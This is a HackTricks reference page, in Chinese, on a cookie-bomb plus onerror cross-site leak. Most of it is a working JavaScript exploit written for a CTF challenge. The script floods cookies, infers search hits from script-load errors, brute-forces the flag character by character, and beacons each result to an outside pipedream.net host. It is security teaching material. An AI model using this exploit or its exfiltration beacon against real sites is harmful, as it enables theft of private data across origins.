hacktricks/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

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Cookie Bomb + Onerror XS Leak

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

以下脚本取自这里,利用允许用户插入任意数量的cookie的功能然后加载一个文件作为脚本知道真实响应将比错误响应更大然后。如果成功响应将是一个重定向生成的URL更长服务器无法处理太大的URL因此返回错误的http状态码。如果搜索失败因为URL较短将不会发生任何事情。

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert